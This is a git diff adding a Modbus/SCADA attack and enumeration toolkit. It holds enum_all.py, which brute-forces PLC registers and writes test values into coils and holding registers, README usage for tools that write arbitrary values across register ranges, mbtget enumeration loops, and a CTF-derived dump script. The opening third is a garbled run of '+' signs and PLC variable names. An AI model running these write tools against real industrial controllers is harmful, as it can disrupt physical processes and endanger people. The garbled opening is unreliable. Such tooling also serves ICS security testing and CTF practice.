+ + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + 